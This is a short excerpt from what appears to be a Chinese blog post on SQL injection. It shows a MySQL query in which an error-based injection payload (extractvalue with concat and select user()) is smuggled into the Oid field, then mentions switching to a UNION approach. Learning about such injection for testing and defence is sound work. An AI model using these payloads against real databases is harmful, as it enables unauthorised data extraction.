摘要: mysql> select * from web_member_data where Oid='1ogout′and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#' and Status=0;Empty set 改用union mysql> 阅读全文
posted @ 2019-02-27 21:02 易语言大师 阅读(162) 评论(0) 推荐(0) 编辑